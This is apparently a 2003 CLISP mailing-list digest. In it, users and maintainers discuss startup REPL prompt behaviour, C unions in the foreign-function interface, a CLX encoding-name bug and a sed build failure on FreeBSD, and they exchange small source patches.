	; Loading "/Lisp/cm-2.4.0/bin/clisp_2.31_darwin-powerpc/cmn.fas"
	; Garbage collecting...
	T

at this point you have to enter an expression,say 1, to get the prompt!
	T1
	CM[3]>

What I would like to have happen is for the normal clisp session to 
start, only that a file has been loaded and an expression has been 
evaluated before the user starts working.

Is there way to get this behavior in clisp 2.31 ??

I\ tried a workaround of creating a file called  "start.lisp" that 
contains
	(load "src/make.lisp")
	(make-cm :save-image nil)

and simply loading that:

	clisp -l start.lisp

but this wont work either, because my make-cm function wants to set 
*package* and *readtable* to values for Common Music, and the load 
function protects these globals during the load such that the user is 
stil in cl-user after make-cm does its job.

any advixce would be greatly appreciated!

Rick Taube
Associate Professor, Composition/Theory
School of Music
University of Illinois
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Rick Taube writes:
> I\ tried a workaround of creating a file called  "start.lisp" that 
> contains
> 	(load "src/make.lisp")
> 	(make-cm :save-image nil)
> 
> and simply loading that:
> 
> 	clisp -l start.lisp
> 
> but this wont work either, because my make-cm function wants to set 
> *package* and *readtable* to values for Common Music, and the load 
> function protects these globals during the load such that the user is 
> stil in cl-user after make-cm does its job.
> 
> any advixce would be greatly appreciated!

Why not just put 

 	(load "src/make.lisp")
 	(make-cm :save-image nil)

in the user's ~/.clisprc.lisp ?

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> Why not just put
> (load "src/make.lisp")
> (make-cm :save-image nil)
> in the user's ~/.clisprc.lisp ?

thanks for the suggestion but i want to start the software from a script
wihout any installation steps whatsoever and i was hoping there was some way
around my -repl problem. I cant tell if the behavior of -repl that I
reported is a bug or not, but given clisp 2.31's command args it seems it
should be possible for a .sh script to do what I want. I could save an image
on the cd as well, but i would prefer not to.




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> * Rick Taube <gnhor@hvhp.rqh> [2003-12-13 09:52:40 -0600]:
>
> 	1 start up clisp
> 	2 load a file
> 	3 eval an expression and then
> 	4 enter the standard clisp repl.
>
> clisp -i src/make.lisp -x "(make-cm :save-image nil)" -repl
>
> it almost works, except that the poor user is left at the _read_ step of
> the repl without having received any repl prompt at all, which is
> confusing at best -- it looks to a user as if lisp is "hung":
>       ...
> 	; Loading "/Lisp/cm-2.4.0/bin/clisp_2.31_darwin-powerpc/midishare.fas"
> 	; Compiling "/Lisp/cm-2.4.0/src/midishare/player.lisp"
> 	; Loading "/Lisp/cm-2.4.0/bin/clisp_2.31_darwin-powerpc/player.fas"
> 	; Compiling "/Lisp/cm-2.4.0/src/cmn.lisp"
> 	; Loading "/Lisp/cm-2.4.0/bin/clisp_2.31_darwin-powerpc/cmn.fas"
> 	; Garbage collecting...
> 	T
>
> at this point you have to enter an expression,say 1, to get the prompt!
> 	T1
> 	CM[3]>

-x -repl works like this: all -x arguments are concatenated into a
string, terminated with a newline and turned into a
string-input-stream, which is concatenated with terminal into a
concatenated stream, which is fed to the REPL.
REPL prints the prompt only when the *standard-input* is interactive.
so "(make-cm :save-image nil)" is read and executed and REPL is now
reading from a concatenated stream of a string stream which contains
just the separating newline and the terminal.  this stream is not
interactive (interactivity is decided based on the first stream in the
concatenated stream), so no prompt.

why newline?  suppose you have "-x *standard-input* -repl": then -
without the newline - CLISP will wait for your input before trying to
evaluate *standard-input*.

now, for your specific case, the workaround is obvious: try

clisp -i src/make.lisp -x "(make-cm :save-image nil) t" -repl

or

clisp -i src/make.lisp -x "(make-cm :save-image nil)" -x 1 -repl

this will print an extra 1 (or t) but reading the non-list will consume
the separator newline and the REPL will print the prompt because the
string input stream is now empty.

now how can this be fixed?

remove the newline separator?
but then you will need to do
clisp -x '*standard-input* ' -repl
(note space after the variable name).

create a separate REPL for "-x" and the interactive session?
hmm...


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I'm interfacing w/ a library (the Java "C" interface actually) that
uses a C "union" type.  E.g. to paraphrase its header file:

/* Simplified example from <jni.h> */
typedef union jvalue {
  x int;
  f float;
  d double;
} jvalue;

Now, I would like to pass these (and arrays of them) to and from my
Lisp and "C" code.  I know how to do this with structs: use say

   DEF-C-STRUCT foo (member1 <type) ...

and then you get Lisp accessors FOO-MEMBER1 defined.

There doesn't seem to be a DEF-C-UNION that accepts a "C" declaration
tag like a structure.  In "C" unions are just like structs except for
the storage overlap and that only one member can be used.  Is there
some reason I cannot do this in CLISP?

My workaround is that I can define a CLISP c-struct and pass that to
and from "C" but I will be wasting a bit of space doing so, esp.  if
my arrays are large.  But I don't mind doing that.

Any hints appreciated.  Are there any examples of CLISP interfacing to
"C" code that uses unions?

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> * John K. Hinsdale <uva@nyzn.pbz> [2003-12-14 08:10:03 -0500]:
>
> I'm interfacing w/ a library (the Java "C" interface actually) that
> uses a C "union" type.  E.g. to paraphrase its header file:
>
> /* Simplified example from <jni.h> */
> typedef union jvalue {
>   x int;
>   f float;
>   d double;
> } jvalue;

(c-union (d double-float) (f single-float) (x int))

note that the first slot should be the largest.

> Now, I would like to pass these (and arrays of them) to and from my
> Lisp and "C" code.  I know how to do this with structs: use say
>
>    DEF-C-STRUCT foo (member1 <type) ...
>
> and then you get Lisp accessors FOO-MEMBER1 defined.
>
> There doesn't seem to be a DEF-C-UNION that accepts a "C" declaration
> tag like a structure.

<http://clisp.cons.org/impnotes/dffi.html#c-union>
<http://clisp.cons.org/impnotes/dffi.html#ffi-struct-arg>
<http://article.gmane.org/gmane.lisp.clisp.devel/10089>

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While compiling garnet with clisp 2.31 on Darwin,  I get this error:


Loading #P"/local/share/lisp/packages/net/sourceforge/garnet/gadgets/scrolling-menu"
;;    Loading file /local/share/lisp/packages/net/sourceforge/garnet/gadgets/scrolling-menu.lisp ...
Object SCROLLING-MENU-FRAME
Object SCROLLING-MENU-INTERIM-FEEDBACK
Object SCROLLING-MENU-TITLE
Object SCROLLING-MENU-TEXT-LABEL-PROTOTYPE
Object SCROLLING-MENU-ITEM
Object SCROLLING-MENU-ITEM-LIST
Object SCROLLING-MENU-SCROLL-BAR
Object SCROLLING-MENU-SELECTOR
Object SCROLLING-MENU

*** - EXT:MAKE-ENCODING: illegal :CHARSET argument "ISO8859-1"


Indeeed, the exported symbol is ISO-8859-1.


1. Break GG[14]> :bt
<1> #<SYSTEM-FUNCTION EXT:SHOW-STACK>
<2> #<COMPILED-CLOSURE SYSTEM::DEBUG-BACKTRACE>
<3> #<SYSTEM-FUNCTION SYSTEM::READ-EVAL-PRINT>
<4> #<COMPILED-CLOSURE SYSTEM::BREAK-LOOP-2-1>
<5> #<SYSTEM-FUNCTION SYSTEM::SAME-ENV-AS>
<6> #<COMPILED-CLOSURE SYSTEM::BREAK-LOOP-2>
<7> #<SYSTEM-FUNCTION SYSTEM::DRIVER>
<8> #<COMPILED-CLOSURE SYSTEM::BREAK-LOOP>
<9> #<SYSTEM-FUNCTION INVOKE-DEBUGGER>
<10> #<SYSTEM-FUNCTION EXT:MAKE-ENCODING>
<11> #<ADD-ON-SYSTEM-FUNCTION XLIB:MAX-CHAR-ASCENT>
<12> #<COMPILED-CLOSURE GEM::X-MAX-CHARACTER-ASCENT>
<13> #<COMPILED-CLOSURE GEM:MAX-CHARACTER-ASCENT>
<14> #<COMPILED-CLOSURE #:|(CREATE-INSTANCE 'FONT GRAPHIC-QUALITY ...)-10-4|>
<15> #<COMPILED-CLOSURE KR::RE-EVALUATE-FORMULA>
<16> #<COMPILED-CLOSURE KR::G-VALUE-FORMULA-VALUE>
<17> #<COMPILED-CLOSURE KR::GV-VALUE-FN>
<18> #<COMPILED-CLOSURE #:|(CREATE-INSTANCE 'FONT GRAPHIC-QUALITY ...)-10-2|>
<19> #<COMPILED-CLOSURE KR::RE-EVALUATE-FORMULA>
<20> #<COMPILED-CLOSURE KR::G-VALUE-FORMULA-VALUE>
<21> #<COMPILED-CLOSURE KR::VALUE-FN>
<22> #<COMPILED-CLOSURE OPAL:STRING-HEIGHT>



The   error  seems   to  be   coming  via   XLIB:MAX-CHAR-ASCENT  from
clisp/modules/clx/new-clx/clx.f line  1056 to  1081. It looks  like it
builds   the   encoding   name   from   the   registry   of   some   X
font.  Unfortunately, that  registry  is "iso8859"  while the  CHARSET
package exports ISO-8859-1 et al.

I hoped to be able to correct this bug adding this:

    char* new_registry=0;
    char* old_registry=0;
    if((strncmp(names[0],"iso",3)==0)&&(names[0][3]!='-')){
        new_registry=malloc(strlen(names[0])+2);
        sprintf(new_registry,"iso-%s",names[0]+3);
        old_registry=names[0];
        names[0]=new_registry;
    }

at the point marked /***BEFORE***/ and this:

   if(new_registry){
        free(new_registry);
        names[0]=old_registry;
   }

at the point marked /***AFTER***/, but it does not seem to work.
 

          xatoms[0] = rgstry;
          xatoms[1] = encdng;
          names[0] = NULL;
          names[1] = NULL;
#        if !defined(HAVE_XGETATOMNAMES)
          names[0] = XGetAtomName (dpy, xatoms[0]);
          names[1] = XGetAtomName (dpy, xatoms[1]);
          status = names[0] && names[1];
#        else
          status = XGetAtomNames (dpy, xatoms, 2, names); /* X11R6 */
#        endif
          if (status) {
          /***BEFORE***/
            end_x_call();
            pushSTACK(asciz_to_string (names[0], GLO(misc_encoding)));
            pushSTACK(`"-"`);
            pushSTACK(asciz_to_string (names[1], GLO(misc_encoding)));
            value1 = string_concat(3);
            pushSTACK(`:CHARSET`); pushSTACK(value1);
            pushSTACK(`:OUTPUT-ERROR-ACTION`);
            pushSTACK(fixnum(info->default_char));
            funcall(L(make_encoding), 4);
            pushSTACK(STACK_0); /* obj */
            pushSTACK(`XLIB::ENCODING`);
            pushSTACK(value1);
            funcall (L(set_slot_value), 3);
          /***AFTER***/
          }



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Hi, yes appending "t" to my -x expr gets me to the prompt, albeit with t
appearing in the terminal. Thanks for your help!

> now how can this be fixed?
>
> remove the newline separator?
> but then you will need to do
> clisp -x '*standard-input* ' -repl
> (note space after the variable name).
>
> create a separate REPL for "-x" and the interactive session?
> hmm...
>

From this user's perspective, it would be nice if some combo of "-i ... -x
... -repl" could place the user at clisp's standard input prompt without "t"
appearing and with the repl's interaction number still set to 1 in the
prompt . and some flavor of -i that could load silently would be nice too. I
realize I can add an -x  "(load \"src/make.lisp\" :verbose nil)" to do my
loading instead of -i but some simple command arg for silent loading might
be a generally useful feature. anyway thanks for your help.



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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2003-12-14 18:47:59 +0100]:
>
> While compiling garnet with clisp 2.31 on Darwin,  I get this error:
>
> *** - EXT:MAKE-ENCODING: illegal :CHARSET argument "ISO8859-1"
>
> The error seems to be coming via XLIB:MAX-CHAR-ASCENT from
> clisp/modules/clx/new-clx/clx.f line 1056 to 1081. It looks like it
> builds the encoding name from the registry of some X font.
> Unfortunately, that registry is "iso8859" while the CHARSET package
> exports ISO-8859-1 et al.

[6]> (make-encoding :charset "iso8859-1")
#<ENCODING "iso8859-1" :UNIX>

apparently Darwin does not have a good iconv(), so the right way to
handle this problem is to install gnu libiconv and then everything
should work OOTB.

Bruno, should MAKE-ENCODING automatically convert "iso8859-1" to
CHARSET:ISO-8859-1?
Should CHARSET contain ISO8859-1 as a synonym for ISO-8859-1?

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> * Rick Taube <gnhor@hvhp.rqh> [2003-12-14 12:43:01 -0600]:
>
> Hi, yes appending "t" to my -x expr gets me to the prompt, albeit with
> t appearing in the terminal. Thanks for your help!
you're welcome!

>> now how can this be fixed?
>>
>> remove the newline separator?
>> but then you will need to do
>> clisp -x '*standard-input* ' -repl
>> (note space after the variable name).
>>
>> create a separate REPL for "-x" and the interactive session?
>> hmm...

trouble is, a REPL ends with an EXIT, so launching two REPL's is tricky.
maybe DRIVER should optionally return (when, say, *DRIVER-FINAL-P* is NIL)?

> From this user's perspective, it would be nice if some combo of "-i
> ... -x ... -repl" could place the user at clisp's standard input
> prompt without "t" appearing and with the repl's interaction number
> still set to 1 in the prompt .

prompt "[1]> " would, indeed, require a second REPL - is not
technically, then, at least, ideologically.

> and some flavor of -i that could load silently would be nice too. I
> realize I can add an -x "(load \"src/make.lisp\" :verbose nil)" to do
> my loading instead of -i but some simple command arg for silent
> loading might be a generally useful feature.

maybe adding "-s/--silent" that will set *LOAD-VERBOSE* and
*COMPILE-VERBOSE* to NIL would be a good idea?

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Date: Mon Dec 15 11:37:00 2003
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Hi,

>> * John K. Hinsdale wrote:
>> I'm interfacing w/ a library (the Java "C" interface actually) that
>> uses a C "union" type.  E.g. to paraphrase its header file:

>> Now, I would like to pass these (and arrays of them) to and from my
>> Lisp and "C" code.  I know how to do this with structs: use say

There are short and very long answers. Let's see if the short one is enough.

An array of union types should be easier for in and out.

Please work with references (places), e.g. use c-pointer and with-foreign-* judiciously.

Consider ffi:slot
E.g.
  (ffi:slot (ffi:element my-place the-index) 'f) ;read/write as float

Does that already help or are you stumbling into a fundamental limitation?

>[...]and then you get Lisp accessors FOO-MEMBER1 defined.
>Is there some reason I cannot do this in CLISP?
Please submit a proposal (or implement) Lisp-level accessors.
How can they auto-detect the correct type?
IMHO, you'll have to write a wrapper that *knows* the correct type (gets it from somewhere) and returns/sets data based on that. That looks like case by case work, which doesn't mean there couldn't be a declarative approach for some common cases.

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	Jorg Hohle.


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Date: Mon Dec 15 11:56:02 2003
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 > An array of union types should be easier for in and out.

as it happens my C lib's interface uses arrays of unions

 > Please work with references (places), e.g. use c-pointer and
 > with-foreign-* judiciously.

I'll try :)

 > Please submit a proposal (or implement) Lisp-level accessors.
 > How can they auto-detect the correct type?

Well, if I have, in C

  union foo { ival int; dval double; };

then lisp will know which type to use because "ival" is an int and
"dval" is a double.  So accessor FOO-IVAL will know its an int
due to the definition.

 > IMHO, you'll have to write a wrapper that *knows* the correct type
 > (gets it from somewhere) and returns/sets data based on that.

it's specified in the union declaration just as with a struct.

I reiterate my question: why should it be any different than a struct
which in "C" languages is syntactically exactly the same as as a
union, except for the fact that only one of the members can be set per
instance of it (i.e., they "overlap").

At any rate, I've got another way to get around it: I can make a
two-element struct

   struct my_union { char type; void * val };

which encodes which union member is set in the type, and passes the
value as an opaque pointer (cast appropriately to point to the correct
type on the "C" side), and then use that to set up the union that my
library wants to see.  A bit clunky, and yes I know I should avoid
void * but it will get me up and running.

[Background: I'm trying to access some Java classes from Lisp.  I know
about JaCol but for various reasons I want to load the java runtime
("VM") directly into my CLISP process using the Java "C" API.  JaCol
has a "looser" coupling and requires external client/processes]



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hi there,

i was trying to compile clisp-2.31 on a FreeBSD-5.2-RC1
system, when the compile failed with this error:

######################################################
$make
test -d bindings || mkdir -p bindings
test -d regexp || ../src/lndir ../modules/regexp regexp
if test -f regexp/configure -a '!' -f regexp/config.status ; then cd regexp ; ./configure --cache-file=`echo regexp/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache ; fi
CLISP="`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale -Efile UTF-8 -Eterminal UTF-8 -norc" ; cd regexp ; dots=`echo regexp/ | sed -e 's,[^/][^/]*//*,../,g'` ; make clisp-module CC="gcc" CFLAGS="-I/opt/sam/include  -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DDYNAMIC_MODULES -DNO_SIGSEGV -fPIC" INCLUDES="$dots" LISPBIBL_INCLUDES=" ${dots}lispbibl.c ${dots}fsubr.c ${dots}subr.c ${dots}pseudofun.c ${dots}constsym.c ${dots}constobj.c ${dots}unix.c ${dots}xthread.c ${dots}libcharset.h" CLFLAGS="-x none -Wl,-export-dynamic" LIBS="/opt/sam/lib/libintl.so /opt/sam/lib/libiconv.so -Wl,-rpath -Wl,/opt/sam/lib libcharset.a libavcall.a libcallback.a -lreadline -lncurses  /opt/sam/lib/libiconv.so -Wl,-rpath -Wl,/opt/sam/lib " RANLIB="ranlib" CLISP="$CLISP -q"
make[1]: Entering directory `/tmp/root.build/clisp-2.31/mysrc/regexp'
make[1]: Nothing to be done for `clisp-module'.
make[1]: Leaving directory `/tmp/root.build/clisp-2.31/mysrc/regexp'
test -d base || (mkdir base && cd base && for f in lisp.a libnoreadline.a libcharset.a libavcall.a libcallback.a  modules.h modules.o makevars lisp.run lispinit.mem; do ln -s ../$f $f; done) || (rm -rf base ; exit 1)
rm -rf full
CLISP_LINKKIT=. ./clisp-link add-module-sets base full regexp  || (rm -rf full ; exit 1)
make[1]: Entering directory `/tmp/root.build/clisp-2.31/mysrc/regexp'
make[1]: Nothing to be done for `clisp-module'.
make[1]: Leaving directory `/tmp/root.build/clisp-2.31/mysrc/regexp'
gcc -I/opt/sam/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DDYNAMIC_MODULES -DNO_SIGSEGV -fPIC -I/tmp/root.build/clisp-2.31/mysrc -c modules.c
gcc -I/opt/sam/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DDYNAMIC_MODULES -DNO_SIGSEGV -fPIC -x none -Wl,-export-dynamic modules.o regexi.o lisp.a /opt/sam/lib/libintl.so /opt/sam/lib/libiconv.so -Wl,-rpath -Wl,/opt/sam/lib libcharset.a libavcall.a libcallback.a -lreadline -lncurses /opt/sam/lib/libiconv.so -Wl,-rpath -Wl,/opt/sam/lib -o lisp.run
base/lisp.run -B . -M base/lispinit.mem -norc -q -i regexp/preload.lisp -x (saveinitmem "full/lispinit.mem")
;; Loading file regexp/preload.lisp ...
;; Loaded file regexp/preload.lisp
1091504 ;
545752
full/lisp.run -B . -M full/lispinit.mem -norc -q -i regexp/regexp -x (saveinitmem "full/lispinit.mem")
;; Loading file /tmp/root.build/clisp-2.31/mysrc/regexp/regexp.fas ...
;; Loaded file /tmp/root.build/clisp-2.31/mysrc/regexp/regexp.fas
1099144 ;
549572
sed: -e expression #1, char 88: Unknown option to `s'
make: *** [full] Error 1
######################################################

maybe there is some GNU sed specific code in the makefiles? but
i cannot find it.

i would normally just use the BSD ports and be done with it, but i am
trying to create a tarball of sources which i can compile on any UNIX
system (without root priveledges), so that i can have the same applications
which i use on a daily basis no matter where i go. so far i have only
managed to get clisp compiled and working on GNU/Linux, but SUN is next.

could anyone please help?

cheers,
Sam

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Sam Halliday writes:
> sed: -e expression #1, char 88: Unknown option to `s'
> make: *** [full] Error 1
> ######################################################
> 
> maybe there is some GNU sed specific code in the makefiles? but
> i cannot find it.
> [...]
> could anyone please help?

A generic  trick in these cases is  to write a small  script named sed
and put  it in a directory at  the beginning of the  PATH. This little
script would log  all its arguments (and perhaps  its stdin), and then
exec the real command.

Then an  easy solution would  be to modify  this script to  handle the
unknown options and to keep it (but of course, for free software, it's
better to report the bug and have it corrected in the sources).


Otherwise, an intense grepping session on the sources should help:

      find clisp -type f -exec grep -n sed {} /dev/null \;


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> * Sam Halliday <sbzzvy@lnubb.vr> [2003-12-17 15:27:25 +0000]:
>
> i was trying to compile clisp-2.31 on a FreeBSD-5.2-RC1
> system, when the compile failed with this error:
> sed: -e expression #1, char 88: Unknown option to `s'

I suspect that this is the same as
<http://sourceforge.net/tracker/?group_id=1355&atid=101355&func=detail&aid=648079>
could you please investigate?

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Hi,

Timothy Moore wrote:
>No, we use as much of the MOP as we can.
There's nothing wrong with that.

There was a time when CLISP had not built-in support for CLOS.
Back then, CLISP would simply load PCL, like CMUCL.

I wonder why nobody tries to make PCL work again with CLISP in case they need the MOP.


>McCLIM also works in a 
>non-threaded mode which only allows one application to run at a time.
That's enough for quite some situations, for a start.
I'd then probably miss CMUCL's ability to still serve GUI events *and* give me a listener prompt.
That has always been a very nice of CMUCL, and threading wasn't that much missed thanks to this feature.

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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2003-12-17 17:04:45 +0100]:
>
> Timothy Moore wrote:
>>No, we use as much of the MOP as we can.
> There's nothing wrong with that.
>
> There was a time when CLISP had not built-in support for CLOS.
> Back then, CLISP would simply load PCL, like CMUCL.
>
> I wonder why nobody tries to make PCL work again with CLISP in case
> they need the MOP.

because native CLOS is faster?

>>McCLIM also works in a 
>>non-threaded mode which only allows one application to run at a time.
> That's enough for quite some situations, for a start.
> I'd then probably miss CMUCL's ability to still serve GUI events *and*
> give me a listener prompt. 
> That has always been a very nice of CMUCL, and threading wasn't that
> much missed thanks to this feature. 

I think this can be done in CLISP too - it just requires that the
low-level i/o go through a select().
any takers?

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> * Sam Halliday <sbzzvy@lnubb.vr> [2003-12-17 16:48:42 +0000]:
>
> Sam Steingold wrote:
>> > i was trying to compile clisp-2.31 on a FreeBSD-5.2-RC1
>> > system, when the compile failed with this error:
>> > sed: -e expression #1, char 88: Unknown option to `s'
>> I suspect that this is the same as
>> <http://sourceforge.net/tracker/?group_id=1355&atid=101355&func=detail&aid=648079> 
>> could you please investigate?
>
> yes, i belive it is the same bug. the attached patch (using #s instead
> of ,s for delimiters) seems to fix the compilation problems.

this is not a solution. '#' might be rare, but it is just as legal as ','.
moreover, you kept the line quoting commas:

-      LIBS=`echo $LIBS | sed s/','/'\\,'/g`
+      LIBS=`echo $LIBS | sed 's#','#'\\,'#g'`

this does not make any sense - why quote commas if they will not have
any special meaning?

however, please try either of the following two patches, in turn - i.e.,
apply first, try, _remove_ it, apply second, try again, and tell me if
either helps.
thanks.

> however, the following test seems to fail:
>
> Form: (LET ((H (MAKE-HASH-TABLE :TEST `(,(LAMBDA (A B) (LIST (LIST '= A B)) (= A
> B)) . ,(LAMBDA (X) (LET ((Z (SXHASH (COERCE X 'DOUBLE-FLOAT)))) (LIST `((HASH
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> (FLOAT I 1.0d0) H) (GETHASH (FLOAT I 1.0s0) H)) :COLLECT I))
> CORRECT: NIL
> CLISP  : (892)

I think this has been fixed in the CVS.
could you please check that?

> FreeBSD-5.3-RC1 uses a prerelease of gcc-3.3.3

you might want to remove -fomit-frame-pointer from the CFLAGS
if the CVS still exhibits this bug.

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--- clisp-link.in.~1.15.~	2003-07-31 19:42:07.823688600 -0400
+++ clisp-link.in	2003-12-17 12:00:56.242352000 -0500
@@ -282,7 +282,7 @@
     verbose "$destinationdir"/${LISPRUN} -B "$installbasedir" -M "$lispinitdir"/lispinit.mem -norc -q -i $to_load -x "(saveinitmem \"$destinationdir/lispinit.mem\")"
     # Generate new makevars
     echo "LIBS: before: "$LIBS
-    LIBS=`echo $LIBS | sed s/','/'\\\\,'/g`
+    LIBS=`echo $LIBS | sed s/','/'\\,'/g`
     echo "LIBS: after: "$LIBS
     sed -e "s,^LIBS=.*\$,LIBS='${LIBS}'," -e "s,^FILES=.*\$,FILES='${FILES}'," < "$sourcedir"/makevars > "$destinationdir"/makevars
     # Done.





--- clisp-link.in.~1.15.~	2003-07-31 19:42:07.823688600 -0400
+++ clisp-link.in	2003-12-17 12:01:25.604572800 -0500
@@ -422,7 +422,7 @@
         verbose "$destinationdir"/${LISPRUN} -B "$installbasedir" -M "$sourcedir"/lispinit.mem -norc -q -i ${LOAD} -x "(saveinitmem \"$destinationdir/lispinit.mem\")"
       fi
       # Generate new makevars
-      LIBS=`echo $LIBS | sed s/','/'\\,'/g`
+      LIBS=`echo $LIBS | sed s/','/'\\\\,'/g`
       sed -e "s,^LIBS=.*\$,LIBS='${LIBS}'," -e "s,^FILES=.*\$,FILES='${FILES}'," < "$sourcedir"/makevars > "$destinationdir"/makevars
     fi
     # Done.



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Hi,

Sam wrote:
>> I wonder why nobody tries to make PCL work again with CLISP in case
>> they need the MOP.
>because native CLOS is faster?
Native CLOS is IIRC faster precisely because it takes shortcuts which are only possible with the restricted MOP (remembers me of how Smalltalkers try to avoid become: aka change-class) that it implements.

But your's is not an answer IMHO.
Given McCLIM or any other MOP-greedy Lisp code, you don't choose between a faster and a slower implementation of CLOS within CLISP. There's only one choice that seems doable (given little knowledge about CLISP MOP internals): PCL.

Or CLISP's mini-MOP gets expanded further and further, eradicating restrictions. But then I'll bet there will be trade-offs w.r.t. speed, efficiency, and it sounds to me like a major effort.

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Hi,

I had a similar problem with sed on FreeBSD 5.2 while
building with clx but not regex -- specifically on
line 426 of a script called clisp-link.sh (or some
very similar name).  I managed to get around it by
replacing all of the "|" with "," in the defective sed
call.

Let me know if that works, otherwise I will rebuild
Clisp tonight so that I can be a little more specific.

-zh


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> 15:27:25 +0000]:
> >
> > i was trying to compile clisp-2.31 on a
> FreeBSD-5.2-RC1
> > system, when the compile failed with this error:
> > sed: -e expression #1, char 88: Unknown option to
> `s'
> 
> I suspect that this is the same as
>
<http://sourceforge.net/tracker/?group_id=1355&atid=101355&func=detail&aid=648079>
> could you please investigate?
> 
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Sam Steingold wrote:
> >> > i was trying to compile clisp-2.31 on a FreeBSD-5.2-RC1
> >> > system, when the compile failed with this error:
> >> > sed: -e expression #1, char 88: Unknown option to `s'
> >> I suspect that this is the same as
> >>
> ><http://sourceforge.net/tracker/?group_id=1355&atid=101355&func=detail&aid=6
> >48079> > could you please investigate?
> >
> > yes, i belive it is the same bug. the attached patch (using #s instead
> > of ,s for delimiters) seems to fix the compilation problems.
>
> moreover, you kept the line quoting commas:
> 
> -      LIBS=`echo $LIBS | sed s/','/'\\,'/g`
> +      LIBS=`echo $LIBS | sed 's#','#'\\,'#g'`

oops sorry, wasnt thinking straight... i was worried about the #s commenting out
the rest of the line so i wanted them quoted at all times...

> however, please try either of the following two patches, in turn - i.e.,
> apply first, try, _remove_ it, apply second, try again, and tell me if
> either helps.

i tried the first one... and it seemed to fix both the compile fail and the test
which failed previously.

thanks for the rapid response fix!

cheers,
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CORRECTION:

Sam Steingold wrote:
> however, please try either of the following two patches, in turn - i.e.,
> apply first, try, _remove_ it, apply second, try again, and tell me if
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sorry... the first patch didnt make a difference at all; i had compiled using a
different environment than normal and this must have effected the build more
than the patch, as i just had it fail.

testing the 2nd one now...

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Sam Halliday wrote:
> CORRECTION:
> 
> Sam Steingold wrote:
> > however, please try either of the following two patches, in turn - i.e.,
> > apply first, try, _remove_ it, apply second, try again, and tell me if
> > either helps.
> 
> sorry... the first patch didnt make a difference at all; i had compiled using
> a different environment than normal and this must have effected the build more
> than the patch, as i just had it fail.
> 
> testing the 2nd one now...

it doesnt make a difference either, sorry

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> * Sam Halliday <sbzzvy@lnubb.vr> [2003-12-17 18:02:29 +0000]:
>> sorry... the first patch didnt make a difference at all
>> testing the 2nd one now...
> it doesnt make a difference either, sorry

please clean-up your CLISP installation,
apply the appended patch, and do

./configure --with-module=regexp build build-dir

please tell us what is printed for "LIBS before & after".

(you might want to add
sed(){ echo "sed: "$* >&2; /bin/sed $*; }
as Pascal suggested)

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--- clisp-link.in.~1.15.~	2003-07-31 19:42:07.823688600 -0400
+++ clisp-link.in	2003-12-17 14:59:00.804896000 -0500
@@ -422,7 +422,9 @@
         verbose "$destinationdir"/${LISPRUN} -B "$installbasedir" -M "$sourcedir"/lispinit.mem -norc -q -i ${LOAD} -x "(saveinitmem \"$destinationdir/lispinit.mem\")"
       fi
       # Generate new makevars
-      LIBS=`echo $LIBS | sed s/','/'\\,'/g`
+      echo "LIBS: before: "$LIBS
+      LIBS=`echo $LIBS | sed s/','/'\\\\,'/g`
+      echo "LIBS: after:  "$LIBS
       sed -e "s,^LIBS=.*\$,LIBS='${LIBS}'," -e "s,^FILES=.*\$,FILES='${FILES}'," < "$sourcedir"/makevars > "$destinationdir"/makevars
     fi
     # Done.



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> * Rick Taube <gnhor@hvhp.rqh> [2003-12-13 09:52:40 -0600]:
>
> Hi,  Im trying to make a script that beginning lisp users will use. this
> script will	
> 	1 start up clisp
> 	2 load a file
> 	3 eval an expression and then
> 	4 enter the standard clisp repl.
>
> If I do:
>
> clisp -i src/make.lisp -x "(make-cm :save-image nil)" -repl

please try the appended patch.

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Index: src/spvw.d
===================================================================
RCS file: /cvsroot/clisp/clisp/src/spvw.d,v
retrieving revision 1.243
diff -u -w -b -r1.243 spvw.d
--- src/spvw.d	4 Nov 2003 21:47:31 -0000	1.243
+++ src/spvw.d	18 Dec 2003 20:21:43 -0000
@@ -1635,6 +1635,15 @@
   skipSTACK(1);
 }
 
+/* can trigger GC */
+local object appease_form (bool interactive_debug, object form)
+{ /* return `(BATCHMODE-ERRORS ,form) */
+  if (interactive_debug) pushSTACK(S(appease_cerrors));
+  else pushSTACK(S(batchmode_errors));
+  pushSTACK(form);
+  return listof(2);
+}
+
 # main program stores the name 'main'.
 #ifdef NEXTAPP
   # main() already exists in Lisp_main.m
@@ -2875,12 +2884,7 @@
           });
         }
         var object form = listof(1+argcount); # `(COMPILE-FILE ',...)
-        if (!argv_repl) {
-          if (argv_interactive_debug) pushSTACK(S(appease_cerrors));
-          else pushSTACK(S(batchmode_errors));
-          pushSTACK(form);
-          form = listof(2); # `(SYS::BATCHMODE-ERRORS (COMPILE-FILE ',...))
-        }
+        if (!argv_repl) form = appease_form(argv_interactive_debug,form);
         eval_noenv(form); # execute
         fileptr++;
       });
@@ -2934,33 +2938,25 @@
     pushSTACK(NIL);
    #endif
     form = listof(4);
-    if (!argv_repl) {
-      if (argv_interactive_debug) pushSTACK(S(appease_cerrors));
-      else pushSTACK(S(batchmode_errors));
-      pushSTACK(form);
-      form = listof(2); # `(SYS::BATCHMODE-ERRORS (LOAD "..."))
-    }
+    if (!argv_repl) form = appease_form(argv_interactive_debug,form);
     eval_noenv(form); # execute
     if (!argv_repl) quit();
   }
   if (argv_expr_count) {
     # set *STANDARD-INPUT* to a stream, that produces argv_exprs:
-    var uintL count = argv_expr_count;
     var char** exprs = &argv_selection_array[argc-1];
+    if (argv_expr_count > 1) {
+      var uintL count = argv_expr_count;
     do { pushSTACK(asciz_to_string(*exprs--,O(misc_encoding))); }
     while (--count);
-    pushSTACK(O(newline_string)); /* separate -x from REPL */
-    var object total = string_concat(argv_expr_count+1);
+      var object total = string_concat(argv_expr_count);
     pushSTACK(total);
+    } else pushSTACK(asciz_to_string(*exprs--,O(misc_encoding)));
